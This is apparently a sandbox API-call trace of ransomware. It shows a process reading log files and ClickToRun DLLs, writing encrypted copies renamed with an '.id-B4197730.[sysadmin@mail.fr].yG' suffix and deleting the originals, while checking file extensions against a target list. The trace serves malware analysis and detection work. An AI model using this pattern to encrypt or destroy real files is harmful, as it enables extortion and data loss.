	[0055.131] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.131] SetEndOfFile (hFile=0x398) returned 1
	[0055.132] CloseHandle (hObject=0x398) returned 1
	[0055.132] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.133] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1
	[0055.133] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.133] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.133] lstrlenW (lpString=".doc") returned 4
	[0055.133] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString=".docx") returned 5
	[0055.133] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0055.133] lstrlenW (lpString=".pdf") returned 4
	[0055.133] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString=".xls") returned 4
	[0055.133] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString=".xlsx") returned 5
	[0055.133] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0055.133] lstrlenW (lpString=".ppt") returned 4
	[0055.133] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.133] lstrlenW (lpString=".zip") returned 4
	[0055.133] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString=".rar") returned 4
	[0055.133] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString=".bz2") returned 4
	[0055.133] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString=".7z") returned 3
	[0055.133] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0055.133] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.133] lstrlenW (lpString=".dbf") returned 4
	[0055.133] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.133] lstrlenW (lpString=".1cd") returned 4
	[0055.133] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0055.133] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString=".jpg") returned 4
	[0055.134] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString=".doc") returned 4
	[0055.134] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString=".docx") returned 5
	[0055.134] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0055.134] lstrlenW (lpString=".pdf") returned 4
	[0055.134] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString=".xls") returned 4
	[0055.134] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString=".xlsx") returned 5
	[0055.134] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0055.134] lstrlenW (lpString=".ppt") returned 4
	[0055.134] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString=".zip") returned 4
	[0055.134] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString=".rar") returned 4
	[0055.134] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString=".bz2") returned 4
	[0055.134] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString=".7z") returned 3
	[0055.134] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0055.134] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString=".dbf") returned 4
	[0055.134] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString=".1cd") returned 4
	[0055.134] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0055.134] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0055.134] lstrlenW (lpString=".jpg") returned 4
	[0055.134] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0055.134] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.135] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0055.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.203] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18624) returned 1
	[0055.203] CloseHandle (hObject=0x330) returned 1
	[0055.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20
	[0055.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.204] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.204] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0055.204] GetLastError () returned 0x0
	[0055.204] ReadFile (in: hFile=0x330, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0055.356] WriteFile (in: hFile=0x32c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0055.357] ReadFile (in: hFile=0x330, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.357] WriteFile (in: hFile=0x32c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x112, lpOverlapped=0x0) returned 1
	[0055.357] SetEndOfFile (hFile=0x32c) returned 1
	[0055.357] CloseHandle (hObject=0x32c) returned 1
	[0055.358] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.359] SetEndOfFile (hFile=0x330) returned 1
	[0055.359] CloseHandle (hObject=0x330) returned 1
	[0055.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.360] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1
	[0055.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.360] lstrlenW (lpString=".doc") returned 4
	[0055.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.360] lstrlenW (lpString=".docx") returned 5
	[0055.360] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.360] lstrlenW (lpString=".pdf") returned 4
	[0055.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.360] lstrlenW (lpString=".xls") returned 4
	[0055.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.360] lstrlenW (lpString=".xlsx") returned 5
	[0055.360] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.360] lstrlenW (lpString=".ppt") returned 4
	[0055.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.360] lstrlenW (lpString=".zip") returned 4
	[0055.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.360] lstrlenW (lpString=".rar") returned 4
	[0055.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.361] lstrlenW (lpString=".bz2") returned 4
	[0055.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.361] lstrlenW (lpString=".7z") returned 3
	[0055.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.361] lstrlenW (lpString=".dbf") returned 4
	[0055.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.361] lstrlenW (lpString=".1cd") returned 4
	[0055.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.361] lstrlenW (lpString=".jpg") returned 4
	[0055.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.361] lstrlenW (lpString=".doc") returned 4
	[0055.361] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.361] lstrlenW (lpString=".docx") returned 5
	[0055.361] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.361] lstrlenW (lpString=".pdf") returned 4
	[0055.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.362] lstrlenW (lpString=".xls") returned 4
	[0055.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.362] lstrlenW (lpString=".xlsx") returned 5
	[0055.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.362] lstrlenW (lpString=".ppt") returned 4
	[0055.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.362] lstrlenW (lpString=".zip") returned 4
	[0055.362] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.362] lstrlenW (lpString=".rar") returned 4
	[0055.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.362] lstrlenW (lpString=".bz2") returned 4
	[0055.362] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.362] lstrlenW (lpString=".7z") returned 3
	[0055.362] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.362] lstrlenW (lpString=".dbf") returned 4
	[0055.362] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.362] lstrlenW (lpString=".1cd") returned 4
	[0055.362] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0055.362] lstrlenW (lpString=".jpg") returned 4
	[0055.362] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.362] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.362] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0055.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.363] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=19136) returned 1
	[0055.363] CloseHandle (hObject=0x330) returned 1
	[0055.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20
	[0055.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.363] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.363] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0055.363] GetLastError () returned 0x0
	[0055.363] ReadFile (in: hFile=0x330, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0055.373] WriteFile (in: hFile=0x32c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0055.374] ReadFile (in: hFile=0x330, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.374] WriteFile (in: hFile=0x32c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x126, lpOverlapped=0x0) returned 1
	[0055.374] SetEndOfFile (hFile=0x32c) returned 1
	[0055.374] CloseHandle (hObject=0x32c) returned 1
	[0055.375] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.375] SetEndOfFile (hFile=0x330) returned 1
	[0055.376] CloseHandle (hObject=0x330) returned 1
	[0055.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.376] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1
	[0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.376] lstrlenW (lpString=".doc") returned 4
	[0055.376] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.376] lstrlenW (lpString=".docx") returned 5
	[0055.376] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0055.376] lstrlenW (lpString=".pdf") returned 4
	[0055.377] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.377] lstrlenW (lpString=".xls") returned 4
	[0055.377] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.377] lstrlenW (lpString=".xlsx") returned 5
	[0055.377] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0055.377] lstrlenW (lpString=".ppt") returned 4
	[0055.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.441] lstrlenW (lpString=".zip") returned 4
	[0055.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.441] lstrlenW (lpString=".rar") returned 4
	[0055.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.441] lstrlenW (lpString=".bz2") returned 4
	[0055.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.441] lstrlenW (lpString=".7z") returned 3
	[0055.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.441] lstrlenW (lpString=".dbf") returned 4
	[0055.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.441] lstrlenW (lpString=".1cd") returned 4
	[0055.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.441] lstrlenW (lpString=".jpg") returned 4
	[0055.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.441] lstrlenW (lpString=".doc") returned 4
	[0055.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.441] lstrlenW (lpString=".docx") returned 5
	[0055.441] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0055.441] lstrlenW (lpString=".pdf") returned 4
	[0055.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.441] lstrlenW (lpString=".xls") returned 4
	[0055.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.441] lstrlenW (lpString=".xlsx") returned 5
	[0055.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0055.441] lstrlenW (lpString=".ppt") returned 4
	[0055.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.442] lstrlenW (lpString=".zip") returned 4
	[0055.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.442] lstrlenW (lpString=".rar") returned 4
	[0055.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.442] lstrlenW (lpString=".bz2") returned 4
	[0055.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.442] lstrlenW (lpString=".7z") returned 3
	[0055.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.442] lstrlenW (lpString=".dbf") returned 4
	[0055.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.442] lstrlenW (lpString=".1cd") returned 4
	[0055.442] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0055.442] lstrlenW (lpString=".jpg") returned 4
	[0055.442] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.442] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.442] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0055.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.451] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18624) returned 1
	[0055.451] CloseHandle (hObject=0x398) returned 1
	[0055.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20
	[0055.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.451] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.451] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.452] GetLastError () returned 0x0
	[0055.452] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0055.466] WriteFile (in: hFile=0x330, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0055.467] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.467] WriteFile (in: hFile=0x330, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11a, lpOverlapped=0x0) returned 1
